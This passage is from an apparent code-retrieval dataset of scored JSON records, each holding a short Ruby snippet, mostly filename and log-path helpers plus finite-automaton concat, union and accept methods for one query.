"715bf311d3d98d4153f45b912a8981b3", "score": "0.5946186", "text": "def filename\n if original_filename\n @name ||= Digest::MD5.hexdigest(File.dirname(current_path))\n \"#{@name}.#{file.extension}\"\n end\n end", "title": "" }, { "docid": "715bf311d3d98d4153f45b912a8981b3", "score": "0.5946186", "text": "def filename\n if original_filename\n @name ||= Digest::MD5.hexdigest(File.dirname(current_path))\n \"#{@name}.#{file.extension}\"\n end\n end", "title": "" }, { "docid": "085ee8096369540ef92028ef88483764", "score": "0.59363335", "text": "def fname\n @path.split('/')[-3, 3].join('_')\n end", "title": "" }, { "docid": "7ff20927c4ff0e41cc6d8d6777ab0260", "score": "0.59340113", "text": "def original_filename\n return @original_filename if @original_filename\n if @file && @file.respond_to?(:original_filename)\n @file.original_filename\n elsif !path.blank?\n File.basename(path)\n else\n \"\"\n end\n end", "title": "" }, { "docid": "ab0cc59dd45f9e6db0ee2da9967fd296", "score": "0.5927523", "text": "def file_name\n if @target.respond_to?(:original_path)\n @target.original_path\n else\n nil\n end\n end", "title": "" }, { "docid": "afe88ccb67c4ed03046998c1212f1832", "score": "0.5924011", "text": "def log_filename\n File.join(application_dir, \"log\")\n end", "title": "" }, { "docid": "c7ebf57c1039df707e539f981e2b8473", "score": "0.59208894", "text": "def filename_to_date(filename)\n filename.gsub(%r{.*?(\\d{8})\\.log}, '\\\\1')\nend", "title": "" }, { "docid": "88fc800c162c400a18dc9ab3c98d63a1", "score": "0.591182", "text": "def absolute_name\n\t\t\t@event.absolute_name\n\t\tend", "title": "" }, { "docid": "2e39e4ce2ff1977e9cbacdb2e27a5809", "score": "0.59118104", "text": "def sanitize_filename(filename)\n File.basename(filename)\n end", "title": "" }, { "docid": "f215c14fa9a09c8e636b93a04d90389f", "score": "0.5908113", "text": "def format(event)\n filename = event_filename(event.tracer[1])\n time = Time.now.utc.iso8601\n return \"#{Log4r::LNAMES[event.level]}: #{time}: #{filename}: #{event.data}\\n\"\n end", "title": "" }, { "docid": "f215c14fa9a09c8e636b93a04d90389f", "score": "0.5908113", "text": "def format(event)\n filename = event_filename(event.tracer[1])\n time = Time.now.utc.iso8601\n return \"#{Log4r::LNAMES[event.level]}: #{time}: #{filename}: #{event.data}\\n\"\n end", "title": "" }, { "docid": "56f6616e6fb4f477a1cd2e3db39b5515", "score": "0.590793", "text": "def filename\n @filename ||= File.basename @section_name, '.*'\n end", "title": "" }, { "docid": "788b6aeb94776621932122d3e5b176ac", "score": "0.5897698", "text": "def full_filename\r\n @filename\r\n end", "title": "" }, { "docid": "bbdc303831ae9e0631221b0adfa86776", "score": "0.5893097", "text": "def get_file_name\n self.split(\"/\").last.split(\".\").delete_last.join(\".\")\n end", "title": "" }, { "docid": "f5d4da4b8b4a5e9ce97e9255406b2a9c", "score": "0.5892425", "text": "def log_file\n @log_file = @hash.fetch(\"LogFile\").sub!(\"\\\"\", \"\").chomp(\"\\\"\")\n return @log_file \n end", "title": "" }, { "docid": "42d328701e1af8b63984f9bcc2425dd3", "score": "0.5889975", "text": "def extract_metric_name(file_name)\n index = file_name.rindex(\".\")\n if index == nil\n return nil\n end\n\n file_name[0, index]\nend", "title": "" }, { "docid": "67c5e589b0c500e5423af40df5184fdb", "score": "0.5885048", "text": "def red_filename\n self.jira_filename.gsub(/[^\\w\\.\\-]/,'_') # stole from Redmine: app/model/attachment (methods sanitize_filenanme)\n end", "title": "" }, { "docid": "b606c98dad5890ebb46abeb7d29698e6", "score": "0.5880674", "text": "def log_directory\n sn = split_name\n \"#{sn[0]}_#{sn[-1]}s\"\n end", "title": "" }, { "docid": "17ccada493c56fe7f880f89e1abfd52c", "score": "0.5870881", "text": "def error_log_path\n\t\tpath = self.error_log or return nil\n\t\treturn Pathname( path )\n\tend", "title": "" }, { "docid": "28ad54f5f51322a486a5e3a8efe14061", "score": "0.5861982", "text": "def filename\n File.basename(self.path)\n end", "title": "" }, { "docid": "93fd7f09adf01d24d7bf5a9e8ecabb68", "score": "0.5858821", "text": "def filename\n Pathname.new(@file_path).basename.to_s\n end", "title": "" }, { "docid": "b4ae9f3224b5787564b94e6cc76d438c", "score": "0.5838951", "text": "def filename\n [ model.updated_at.to_i.to_s, original_filename ].join(\"_\") if original_filename\n end", "title": "" }, { "docid": "76c3181755bc57cc8647d8ee11983705", "score": "0.58372897", "text": "def extract_filename\n end", "title": "" }, { "docid": "fc29c1dc8e0394e117a3849541afac84", "score": "0.58368", "text": "def access_log_path\n\t\tpath = self.access_log or return nil\n\t\treturn Pathname( path )\n\tend", "title": "" }, { "docid": "cf0ae39b22df0ba2b93204dff4e4ffcf", "score": "0.5829573", "text": "def extract_name(file_path)\n ::File.basename(file_path)\n end", "title": "" }, { "docid": "76d8adf349923a49b6f24ab72b6e2211", "score": "0.5828732", "text": "def normalized_part_file_file_name\n if self.saved_part_file_name\n return self.saved_part_file_name\n else\n piece_name = self.piece.name.gsub(/[^a-zA-Z0-9_\\.]/, '_')\n instrument_name = self.instrument.name.gsub(/[^a-zA-Z0-9_\\.]/, '_')\n output = \"#{piece_name}-#{instrument_name}#{File.extname(self.part_file_file_name)}\" \n return output\n end\n end", "title": "" }, { "docid": "ff7cdcffa3b2c26b80cd2d0e3efeda75", "score": "0.5822009", "text": "def file_name(version = nil)\n name.split('::').last.underscore.upcase\n end", "title": "" }, { "docid": "73381605471460d32bffc74f1a559940", "score": "0.5819181", "text": "def filename\n if original_filename\n @name ||= Digest::MD5.hexdigest(\"aloe--#{File.dirname(current_path)}--#{original_filename}\")\n \"#{@name}.#{file.extension}\"\n end\n end", "title": "" }, { "docid": "daca4780fea2ea87a9fbf0305bd680df", "score": "0.5817738", "text": "def original_filename\n unless defined? @original_filename\n @original_filename =\n unless original_path.blank?\n if original_path =~ /^(?:.*[:\\\\\\/])?(.*)/m\n $1\n else\n File.basename original_path\n end\n end\n end\n @original_filename\n end", "title": "" }, { "docid": "daca4780fea2ea87a9fbf0305bd680df", "score": "0.5817738", "text": "def original_filename\n unless defined? @original_filename\n @original_filename =\n unless original_path.blank?\n if original_path =~ /^(?:.*[:\\\\\\/])?(.*)/m\n $1\n else\n File.basename original_path\n end\n end\n end\n @original_filename\n end", "title": "" }, { "docid": "1131b968c80ae1c133570f4253c541e1", "score": "0.5814545", "text": "def file_name_at(relative_path)\n relative_path.split('/').last\n end", "title": "" }, { "docid": "5bb71a96365492eeb841e94f6e39dd16", "score": "0.58105975", "text": "def create_log_filename(target)\n begin\n return \"squilla_#{URI.parse(target).hostname.gsub('.', '_')}_#{Time.now.strftime(\"%Y%m%d\")}.log\"\n rescue\n return \"squilla_#{Time.now.strftime(\"%Y%m%d\")}.log\"\n end\n end", "title": "" }, { "docid": "60ba40b5a7ef1fdd26a576d9b713d29b", "score": "0.580847", "text": "def format_filename_for_output\n \"app/\" + current_filename.split(\"/app/\")[1]\n end", "title": "" }, { "docid": "4f3d256051b568526fcded7f6acc7400", "score": "0.5802464", "text": "def logFilename(filename)\r\n workingFile = filename\r\n filedate = Time.now.strftime(\"%Y%m%d\")\r\n local_filename2 = '.txt'\r\n log_filename = workingFile+filedate+local_filename2\r\n puts log_filename\r\nreturn log_filename\r\nend", "title": "" }, { "docid": "4f3d256051b568526fcded7f6acc7400", "score": "0.5802464", "text": "def logFilename(filename)\r\n workingFile = filename\r\n filedate = Time.now.strftime(\"%Y%m%d\")\r\n local_filename2 = '.txt'\r\n log_filename = workingFile+filedate+local_filename2\r\n puts log_filename\r\nreturn log_filename\r\nend", "title": "" }, { "docid": "b02d0c713b9c1c1446769ac5d8c7b052", "score": "0.580116", "text": "def original_filename\n unless defined? @original_filename\n @original_filename =\n unless original_path.blank?\n if original_path =~ /^(?:.*[:\\\\\\/])?(.*)/m\n $1\n else\n File.basename original_path\n end\n end\n end\n @original_filename\n end", "title": "" }, { "docid": "cb8102fd526d4637044316dbdd077919", "score": "0.57999814", "text": "def clean_filename\n clean = self.filename[0..-5].gsub(/-|_/,' ').strip.titleize\n clean.blank? ? 'untitled' : clean\n end", "title": "" }, { "docid": "d3ace55ef501541c0d8fa9cc8d476e63", "score": "0.5786286", "text": "def filename\n @filename ||= instance.send(attachment_name).\n send(:cleanup_filename, metadata[:filename])\n end", "title": "" }, { "docid": "842906a7f2258c0525f6c6d7260b12cb", "score": "0.5782287", "text": "def full_filename(for_file = model.upload.file)\n version_filename(for_file, 't')\n end", "title": "" }, { "docid": "7fdee94f7c61c970c98acdf8cdc44871", "score": "0.5774079", "text": "def qualified_event\n @event.qualified_name\n end", "title": "" }, { "docid": "7fdee94f7c61c970c98acdf8cdc44871", "score": "0.5774079", "text": "def qualified_event\n @event.qualified_name\n end", "title": "" }, { "docid": "bf48d758585387cc5f13461d2fb08815", "score": "0.576696", "text": "def full_filename\n self.__source.source_filename\n end", "title": "" }, { "docid": "5ed033129ad6d5d029394a2efb45ecb8", "score": "0.57643014", "text": "def original_filename\n metadata[\"filename\"]\n end", "title": "" }, { "docid": "b049991299be21679e8ab6b03923bfe0", "score": "0.57637805", "text": "def filename_from(text)\n a = text.index ':'\n if a.nil? then return \"\" end\n b = text.index ']'\n if b.nil? then return \"\" end\n a += 1\n if a > 5 and b > a\n text.slice(a, b-a).delete('\"').strip\n else\n \"\"\n end\n end", "title": "" }, { "docid": "5b4e297d0d4ce7140fac887ec0a00b8d", "score": "0.5763043", "text": "def filename\n [model.email.gsub(/@[^\\s]+/, ''), file.extension.downcase].compact.join('.') if original_filename\n end", "title": "" }, { "docid": "b93cbe39d59809115c142f95bcc028a9", "score": "0.5761597", "text": "def file_name_prefix\n return upload.path.split(\"/\").last.split(\".\").first\n end", "title": "" }, { "docid": "fb15adcbfde4e145a03ff7dfa6c225fe", "score": "0.57588947", "text": "def short_filename(f)\n begin\n return f[/\\/[\\w\\-]+.[a-z]{3}$/].delete(\"/\")\n rescue\n return f\n end\n end", "title": "" }, { "docid": "42116c97248e4aa7479ad9ae93962ba3", "score": "0.5748993", "text": "def file_name\n app_name.split('-').join('/')\n end", "title": "" }, { "docid": "e6f870063df13451fd10a7cdd0666bff", "score": "0.5744889", "text": "def filename\n @name ||= \"#{timestamp}-#{secure_token(8)}.#{file.extension}\" if original_filename.present?\n end", "title": "" }, { "docid": "d873602080ec53f8b5ed3537cffd53fb", "score": "0.5743072", "text": "def full_filename\n self.source.source_filename\n end", "title": "" }, { "docid": "b79fa358600769fb2b9b8aa4a7c876eb", "score": "0.574027", "text": "def short_filename\n return $1 if @filename =~ %r{.*/(.*/[^/]+)$}\n return @filename\n end", "title": "" }, { "docid": "b79fa358600769fb2b9b8aa4a7c876eb", "score": "0.574027", "text": "def short_filename\n return $1 if @filename =~ %r{.*/(.*/[^/]+)$}\n return @filename\n end", "title": "" }, { "docid": "d60fa62f208f7cc9341bec4710c77ba8", "score": "0.5731298", "text": "def full_filename\n ['attachments', storage_prefix, attachment_options[:path_prefix].gsub('public/', ''), id.to_s, filename].compact.join('/')\n end", "title": "" }, { "docid": "f02812899fb3a39b4ceeb745149806d6", "score": "0.5730921", "text": "def original_filename\n metadata[\"filename\"]\n end", "title": "" }, { "docid": "45a2f942f82e1aaa48a6d75860a08f13", "score": "0.573047", "text": "def filename\n File.basename(@filepath)\n end", "title": "" }, { "docid": "a5260e0d34b0613e32093c6af66fc239", "score": "0.5724961", "text": "def _sys_ind_basename(file)\n return file.split(/[\\\\\\/]/)[-1]\n end", "title": "" }, { "docid": "f69d052cde4149c08d59692a9d3f95ec", "score": "0.57212496", "text": "def shortened_filename(filename)\n if filename.start_with?(SimpleCov.root)\n filename[SimpleCov.root.length..-1]\n else\n filename\n end\n end", "title": "" } ]
ea7645c18a0a67e8c55da6d4c02c99d2
accept strings accepted by self, followed by the strings accepted by newFA
[ { "docid": "a1afb79e86db431d7023a3ed3db77252", "score": "0.52690136", "text": "def concat! newFA\n @final.keys.each{ |fin|\n add_transition(fin, newFA.start, \"\")\n }\n \n @final.clear\n @final.update(newFA.final)\n @state.update(newFA.state)\n @transition.update(newFA.transition)\n \n newFA.alphabet.each{ |letter|\n if @alphabet.include?(letter) == false\n @alphabet.push(letter)\n end\n }\n end", "title": "" } ]
[ { "docid": "114c89d19d7c6c37876a0fbc8eea6bb3", "score": "0.5678822", "text": "def accept_entered_text\n \n end", "title": "" }, { "docid": "a24527f661017721bc69356b3eea6e91", "score": "0.5494224", "text": "def accepts?(string)\n @final_states.include?( self << string )\n end", "title": "" }, { "docid": "c600c7409c58e07404ed55be33a1ec52", "score": "0.5383275", "text": "def accepter; end", "title": "" }, { "docid": "c600c7409c58e07404ed55be33a1ec52", "score": "0.5383275", "text": "def accepter; end", "title": "" }, { "docid": "1800088d42ef2335de70eca2efb627bf", "score": "0.5348022", "text": "def acceptIt\n tokens.shift\n end", "title": "" }, { "docid": "27f90b4ccd3f78c39cdd530591e1d17c", "score": "0.53196406", "text": "def union! newFA\n\t\t#puts \"union!\".upcase\n\t\tnew_start = new_state\n\t\tadd_transition(new_start, @start, \"\")\n\t\tadd_transition(new_start, newFA.start, \"\")\n\t\t#puts \"start #{@start} newfa start #{newFA.start}\"\n\t\t@start = new_start\n\t\t\n\t\told_final = @final.keys[0]\n\t\told_final2 = newFA.final.keys[0]\n\t\tnew_final = new_state\n\t\tadd_transition(old_final,new_final,\"\")\n\t\t#puts \"oldfinal2: #{old_final2}\"\n\t\tadd_transition(old_final2,new_final,\"\")\n\t\t\n\t\tnewFA.transition.each do |k,v|\n\t\t\t#puts \"k: #{k}, V: #{v.values[0]}, #{v.keys[0]}\"\n\t\t\t#puts \"#{v.values[0].nil?}\"\n\t\t\tadd_transition(k,v.values[0],v.keys[0])\n\t\tend\n\t\t\n\t\tset_final(old_final, false)\n\t\tset_final(old_final2, false)\n\t\tset_final(new_final)\t\n\n\n\t\tnewFA.alphabet.each do |alp|\n\t\t\t@alphabet.push(alp)\n\t\tend\t\t\n end", "title": "" }, { "docid": "04e7476c7607fab2b96f1256d937bc57", "score": "0.5315264", "text": "def concat! newFA\n\t\t#puts \"concat!\".upcase\n\t\tif (@final.length != 1)\n\t\t\tputs \"UNEXPECTED BEHAVIOR 1!\" \n\t\telse \n\t\t\t#puts \"newfa trans #{newFA.transition.inspect}\"\n\t\t\t#puts \"okay so they're correct coming in\"\n\t\t\told_final = @final.keys[0]\n\t\t\t#puts \"final keys [0]: #{old_final}\"\n\t\t\t#puts \"and: #{newFA.start}\"\n\t\t\t#puts \"inspect final: #{@final.inspect}\"\n\t\t\t#puts \"what\"\n\t\t\tadd_transition(old_final,newFA.start,\"\")\n\t\t\tnewFA.transition.each do |k,v|\n\t\t\t\t#@transition[k] = v\n\t\t\t\t#puts \"@state inspect: #{state.inspect}\"\n\t\t\t\tadd_transition(k,v.values[0],v.keys[0])\n\t\t\tend\n\t\t\tset_final(old_final, false)\n\t\t\t#puts \"inspect final 2: #{@final.inspect}\"\n\t\t\t#puts \"inspect newFA's final : #{newFA.final}\"\n\t\t\tnew_final = newFA.final.keys[0]\n\t\t\tset_final(new_final, true)\n\t\t\t#puts \"inspect final 4: #{@final.inspect}\"\n\t\t\t#puts \"oh\"\n\t\t\tnewFA.alphabet.each do |alp|\n\t\t\t\t@alphabet.push(alp)\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "7cc3547773c01430f3fa662c3b205ae5", "score": "0.51762444", "text": "def scan_names(str)\n\nend", "title": "" }, { "docid": "dad7295dbc95710ce2bc1c6b7dba82ac", "score": "0.51729697", "text": "def union! newFA\n state0 = new_state\n state1 = new_state\n add_state(state0)\n add_state(state1)\n add_transition(state0, @start, \"\")\n add_transition(state0, newFA.start, \"\")\n set_start(state0)\n @state.update(newFA.state)\n @transition.update(newFA.transition)\n @final.update(newFA.final)\n \n @final.keys.each{ |fin|\n add_transition(fin, state1, \"\")\n }\n \n @final.clear\n set_final(state1, true)\n \n newFA.alphabet.each{ |letter|\n if @alphabet.include?(letter) == false\n @alphabet.push(letter)\n end\n }\n end", "title": "" }, { "docid": "2105e52f09c624e2650ec82498d57e6b", "score": "0.51666814", "text": "def step1(str)\n\t\tr1,r2 = r12(str)\n\t\tr1_text = str[r1..-1]\n\t\tr2_text = str[r2..-1]\n\n\t\tcase r2_text\n\t\twhen /(anzas?|ic[oa]s?|ismos?|[ai]bles?|istas?|os[oa]s?|[ai]mientos?)$/i\n\t\t\tstr[%r{#$&$}]=''\n\t\t\treturn true\n\t\twhen /(ic)?(ador([ae]s?)?|aci[óÓ]n|aciones|antes?|ancias?)$/ui\n\t\t\tstr[%r{#$&$}]=''\n\t\t\treturn true\n\t\twhen /log[íÍ]as?/ui\n\t\t\tstr[%r{#$&$}]='log'\n\t\t\treturn true\n\t\twhen /(uci([óÓ]n|ones))$/ui\n\t\t\tstr[%r{#$&$}]='u'\n\t\t\treturn true\n\t\twhen /(encias?)$/i\n\t\t\tstr[%r{#$&$}]='ente'\n\t\t\treturn true\n\t\tend\n\n\t\tif r2_text =~ /(ativ|iv|os|ic|ad)amente$/i or r1_text =~ /amente$/i\n\t\t\tstr[%r{#$&$}]=''\n\t\t\treturn true\n\t\tend\n\n\t\tcase r2_text\n\t\twhen /((ante|[ai]ble)?mente)$/i, /((abil|i[cv])?idad(es)?)$/i, /((at)?iv[ao]s?)$/i\n\t\t\tstr[%r{#$&$}]=''\n\t\t\treturn true\n\t\tend\n\t\tfalse\n\tend", "title": "" }, { "docid": "787dda93da1f7b95fba6737cfa61ce46", "score": "0.5148048", "text": "def match?(string)\n @dfa.accept?(string)\n end", "title": "" }, { "docid": "4dc1469d6854a38c3b0b33fb7aeac8dd", "score": "0.51409996", "text": "def accept\n \n end", "title": "" }, { "docid": "87ebe5b312d269f0d52ed3b5d1ff5925", "score": "0.51405567", "text": "def process_inputs(file)\n\t\tinput_file = FileReader.new(file)\n\t\tputs \"\\n\"\n\n\t\tinput_file.contents.each_with_index do |test_string, i|\n\t\t\toutput = \"accept\" if self.valid_string?(test_string)\n\t\t\toutput ||= \"reject\"\n\n\t\t\tputs output\n\t\tend\n\tend", "title": "" }, { "docid": "bfb48ba6ac9e3d1fafa1b7380388523d", "score": "0.51018035", "text": "def accept?(s, temp2ent = @start)\n if s == \"\"\n is_final?(temp2ent)\n else\n dest = get_transition(temp2ent,s[0,1])\n if dest == nil || dest.size > 1\n false\n else\n accept?(s[1..-1], dest[0])\n end\n end\n end", "title": "" }, { "docid": "d0fce6865dd8fe1540382432121df876", "score": "0.5092719", "text": "def abcheck(str)\r\n\r\nend", "title": "" }, { "docid": "c576191618d9c3f09c97f37662804229", "score": "0.5091209", "text": "def accept; end", "title": "" }, { "docid": "c576191618d9c3f09c97f37662804229", "score": "0.5091209", "text": "def accept; end", "title": "" }, { "docid": "be0efefea0212e759ad995a37372db52", "score": "0.50898", "text": "def start_accepting\n @parts = []\n @list_types = []\n end", "title": "" }, { "docid": "98b1330677a8dc4ecd22a9bcfde3be04", "score": "0.50824237", "text": "def initialize(string)\n string = string.scan(/[a-z0-9]+/i).join.upcase\n string = string.match(@@pattern).to_s\n raise FormatDoesntMatch if string.empty?\n\n @fsa = string[0..2]\n @ldu = string[3..5]\n end", "title": "" }, { "docid": "dd8f11e965e72bc8ceaaabfaf9a881ea", "score": "0.5076723", "text": "def validate(string, fisher, all_names)\n if string == \"\"\n return [\"\", \"\"]\n else\n regex = /ask\\s(\\w+).*\\s(\\w{2}|\\w{1})/i\n matches = string.match(regex)\n if matches == nil\n return false\n end\n target = matches[1]\n card_rank = matches[2]\n player = game.find_player(fisher) # Gets the actual player object\n if card_rank.to_i != 0 # Changes the card rank to an integer if it isn't a face card\n card_rank = card_rank.to_i\n end\n all_names.each do |name|\n name.downcase!\n end\n if target.downcase == fisher.downcase || player.card_in_hand(card_rank) == false || !all_names.include?(target)\n return false\n end\n return [target, card_rank]\n end\n end", "title": "" }, { "docid": "84820fa7ede5835fd85e6773581a003a", "score": "0.50573474", "text": "def accept?(s, current = @start)\n if s == \"\"\n is_final?(current)\n else\n dest = get_transition(current,s[0,1])\n if dest == nil\n false\n else\n accept?(s[1..-1], dest)\n end\n end\n end", "title": "" }, { "docid": "00d3b0cc59acf3c55673492b853387af", "score": "0.5011632", "text": "def method_missing(name, *args)\n words = name.to_s.split('_')\n return super(name, *args) unless words.shift == 'add'\n words.each do |word|\n next if word == 'and'\n add_cd if word == 'cd'\n add_dvd if word == 'dvd'\n add_hard_disk(100_000) if word == 'harddisk'\n turbo if word == 'turbo'\n end\n end", "title": "" }, { "docid": "78e0baed6d224d9819ce84f87992cc08", "score": "0.49909976", "text": "def filter_input_sequences\n # Ensure the sequences are in plain text.\n begin\n ActiveSupport::Multibyte::Unicode.u_unpack(self.sequence)\n rescue Exception => e\n logger.error e.message\n errors.add(\n :sequence,\n \"Please enter your sequence(s) in Plain Text as FASTA.\"\n )\n self.sequence = \"\"\n return\n end\n\n hash = create_hash(self.sequence)\n tmp = File.join(::Rails.root.to_s, 'tmp')\n\n # Ensure the sequences are FASTA via #write_input_sequence_to_file.\n begin\n write_input_sequence_to_file(tmp, hash, self.sequence)\n rescue Exception => e\n errors.add(:sequence, e.message)\n return\n else\n fasta = File.read(File.join(tmp, hash + \".fa\"))\n ensure\n File.delete(File.join(tmp, hash + \".fa\"))\n File.delete(File.join(tmp, hash + \".seq\"))\n end\n\n self.na_sequence = \"\"\n self.aa_sequence = \"\"\n\n # Split the sequences on >, check the type (AA or NA) and separate.\n seqs = fasta.split('>')\n seqs.delete_if { |s| s.empty? }\n seqs.each do |s|\n type = discover_input_sequence_type(s)\n if type == \"nucleic_acid\"\n self.na_sequence << \">\" << s\n end\n if type == \"amino_acid\"\n self.aa_sequence << \">\" << s\n end\n end\n\n self.na_sequence = nil if self.na_sequence.empty?\n self.aa_sequence = nil if self.aa_sequence.empty?\n end", "title": "" }, { "docid": "76d45382565bc51e5abd670fc5978ec0", "score": "0.49800795", "text": "def fakename(str)\r\nconsonant = \"bcdfghjklmnpqrstvwxyz\"\r\nvowel = \"aeiou\"\r\n\r\n#reverse the name\r\nname = str.split.reverse.join(\" \")\r\nfake_name = \"\"\r\ndummy = \"\"\r\n\r\n#iterate through the name letter by letter\r\nname.chars do |x|\r\n\tcase\r\n\t when vowel.include?(x.downcase) #if the letter is a vowel\r\n dummy = next_letter(vowel,x.downcase)\r\n if x == x.downcase #trap for upper/lowercase\r\n \tfake_name += dummy\r\n else\r\n\t fake_name += dummy.upcase\r\n\t end \r\n\t when consonant.include?(x.downcase) #if the letter is a consonant\r\n\t dummy = next_letter(consonant,x.downcase) \r\n\t if x == x.downcase #trap for upper/lowercase\r\n\t \tfake_name += dummy\r\n\t else\r\n\t fake_name += dummy.upcase\r\n\t end\r\n\t else \r\n\t \t fake_name += x #if the letter is non alphabet\r\n end \r\nend\t\r\nfake_name\r\nend", "title": "" }, { "docid": "f2d4615c82ee2aaac110c4d52cf0ae42", "score": "0.49763656", "text": "def test_accepts_and_rejects\n fa = Automaton.new do\n add_state(:initial => true)\n add_state(:accepting => true)\n add_state(:error => true)\n add_state(:accepting => true, :error => true)\n connect(0,1,'a')\n connect(1,0,'b')\n connect(0,2,'b')\n connect(1,3,'a')\n end\n assert_equal(false, fa.accepts?(\"?\"))\n assert_equal(true, fa.accepts?(\"? a\"))\n assert_equal(false, fa.accepts?(\"? a b\"))\n assert_equal(true, fa.accepts?(\"? a b a\"))\n assert_equal(false, fa.accepts?(\"? z\"), \"not accepts? on no state\")\n assert_equal(false, fa.accepts?(\"? b\"), \"not accepts? on non accepting error state\")\n assert_equal(false, fa.accepts?(\"? a a\"), \"not accepts? on accepting error state\")\n\n assert_equal(true, fa.rejects?(\"?\"))\n assert_equal(false, fa.rejects?(\"? a\"))\n assert_equal(true, fa.rejects?(\"? a b\"))\n assert_equal(false, fa.rejects?(\"? a b a\"))\n assert_equal(true, fa.rejects?(\"? z\"), \"rejects? on no state\")\n assert_equal(true, fa.rejects?(\"? b\"), \"rejects? on non accepting error state\")\n assert_equal(true, fa.rejects?(\"? a a\"), \"rejects? on accepting error state\")\n end", "title": "" }, { "docid": "a847b9c55d64cfbce105bad7b358cb28", "score": "0.49687135", "text": "def FullAccept\n\t\t3.times do \n\t\t\tself.Accept\n\t\tend\n\tend", "title": "" }, { "docid": "f39507854faef60aa583b74733d4fd1b", "score": "0.49679393", "text": "def initialize (params={})\n @name=params.fetch(:name, \"Unknown\")\n @atcode=params.fetch(:atcode, \"Unknown\")\n regexp_atcode = Regexp.new(/A[tT][1-5][gG](\\d{5})/) # This checks if Arabidopsis gene name has the correct\n # nomenclature. If the regular expression doesn't match the input name, it won't become that gene code.\n if regexp_atcode.match(@atcode).to_s != @atcode\n puts \"WARNING: input string doesn't match Arabidopsis thaliana gene pattern.\"\n @atcode=\"Unknown\"\n end\n @GO_Annotations=params.fetch(:GO_Annotations, []) # represents the GO ID term from Uniprot.\n @GO_Termname_Uniprot=params.fetch(:GO_Termname_Uniprot, []) # represents the GO ID term meaning from UniProt.\n @KEGG=params.fetch(:KEGG, []) # represents the KEGG IDs and meaning from KEGG.\n end", "title": "" }, { "docid": "31b77405178cd63e872a57428542b93b", "score": "0.4951914", "text": "def method_missing(name, *args)\n words = name.to_s.split('_') \n #if the name is not what we expected, just pass it to superclass for any method missing checking.\n return super(name, *args) unless words.shift == 'add'\n words.each do |word|\n next if word == 'and'\n add_cd if word == 'cd'\n add_dvd if word == 'dvd'\n add_hard_disk(100000) if word == 'harddisk'\n turbo if word == 'turbo'\n end\n end", "title": "" }, { "docid": "68e8b8f36d263ffabac1f86475ad98c7", "score": "0.49420717", "text": "def evaluate(string, fa)\n output = \"\"\n if (string.first.empty?)\n output << \"#{@name} (#{@accepting ? 'accepting'.colorize(:green) : 'not accepting'.colorize(:red)}) \"\n return { :output => output, :accepting => @accepting }\n end\n output << \"#{@name} #{'->'.colorize(:light_black)} \"\n \n next_state = fa.get_state(paths[string.first.to_sym])\n next_string = string.shift_left\n result = next_state.evaluate(next_string, fa)\n output << result[:output]\n return { :output => output, :accepting => result[:accepting] }\n end", "title": "" }, { "docid": "3de018b9853cd9967a72f392769545a5", "score": "0.4874882", "text": "def accept_name\n\n \t\tputs \"Enter name:\" \n \t @name=gets\n \n \tif (@name=~/^[a-z]+$/) then \n \t\t puts \"\\t\\t\\tAccepted\"\n \t\t accept_address\n \telse\n \tputs \"\\t\\t\\tThe #{@name} entered is improper PLEASE ENTER A VALID NAME\"\n \taccept_name\n \tend\n\n end", "title": "" }, { "docid": "9d5389a1dece71632ca9b8f58a523c68", "score": "0.4853056", "text": "def add_matching(pattern); end", "title": "" }, { "docid": "e01d5141abcf477ef1bc43331456a039", "score": "0.4849721", "text": "def check_names(str)\n\nend", "title": "" }, { "docid": "e1e7bcd8e7acdc8e58132548c4e00244", "score": "0.48393196", "text": "def completion\n proc { |str| actions.map(&:to_s).grep(/^#{Regexp.escape(str)}/) }\n end", "title": "" }, { "docid": "dcd40dd2bbd0b1aa8c14bcd2bb9c6350", "score": "0.48254433", "text": "def concat! newFA\n\n iterate = 0\n\n \n while iterate < @final.keys.size\n add_transition(@final.keys[iterate], newFA.start,\"\")\n set_final(@final.keys[iterate], false)\n iterate += 1\n end\n\n @final = newFA.final\n \n newFA.alphabet.each { |x|\n if !@alphabet.include?(x)\n @alphabet.push(x)\n end\n }\n newFA.transition.keys.sort.each { |v1|\n newFA.transition[v1].keys.sort.each { |x|\n v2 = newFA.get_transition(v1,x)\n \n v2.each { |c|\n \n add_transition(v1,c,x)\n } \n }\n }\n\n\n\n end", "title": "" }, { "docid": "0ac29bbe4afb929ad04b90960cc0a2fe", "score": "0.4814321", "text": "def new_agent_name(agent_name)\r\n if new_agent_name = agent_name.split('')\r\n new_agent_name.class\r\n new_agent_name\r\n### separate vowels and consonants \r\n v,c = new_agent_name.partition{|i| [\"a\",\"e\",\"i\",\"o\",\"u\"].include?(i)}\r\n p v \r\n p c\r\n else \r\n puts \"save me!!!\"\r\n end\r\n \r\nend", "title": "" }, { "docid": "c91e2f8660d3316b0eb6ad799cf0b110", "score": "0.48036486", "text": "def accept() settle ACCEPTED; end", "title": "" }, { "docid": "c91e2f8660d3316b0eb6ad799cf0b110", "score": "0.48036486", "text": "def accept() settle ACCEPTED; end", "title": "" }, { "docid": "51dc7cb589945f0dab3956b23da3c450", "score": "0.47924504", "text": "def accept!\n end", "title": "" }, { "docid": "427e90ff41117fcefa4d4f660181f62f", "score": "0.47861472", "text": "def union! newFA\n s0 = new_state\n add_transition(s0,@start,\"\")\n add_transition(s0,newFA.start,\"\")\n set_start(s0)\n s0 = new_state\n\n @final.keys.sort.each {|x| set_final(x,false)\n add_transition(x,s0,\"\")}\n\n newFA.final.keys.each{|x| add_transition(x,s0,\"\")}\n\n set_final(s0)\n newFA.alphabet.each { |x|\n if !@alphabet.include?(x)\n @alphabet.push(x)\n end\n }\n\n newFA.transition.keys.sort.each { |v1|\n newFA.transition[v1].keys.sort.each { |x|\n v2 = newFA.get_transition(v1,x)\n v2.each { |c|\n add_transition(v1,c,x)\n } \n }\n }\n\n\n end", "title": "" }, { "docid": "f0daa81791cc8777983b32d5d73fe4da", "score": "0.47716713", "text": "def alpha_soup(str)\r\n\r\nend", "title": "" }, { "docid": "852c36f4f6f96a8ff411f5e65b5a7eca", "score": "0.47664616", "text": "def One_away(string1)\n\n end", "title": "" }, { "docid": "cc2d3f393b70f46833859d2f69b68b9c", "score": "0.47573555", "text": "def validate()\n # rung base method to check\n # for alphabet\n super\n # check for sequenz\n # an validate sequenz length\n if (sequenz?)\n # hier check sequenz length \n if(@lenth != @string.length)\n raise \"String length is not correct\\nRequired lenght: #{@lenth}\\nCurrent length: #{@string.length}\\nString:#{@string}\" \n end\n end\n end", "title": "" }, { "docid": "4a48677b0cfb63b719e8ab05fc5b618e", "score": "0.4743459", "text": 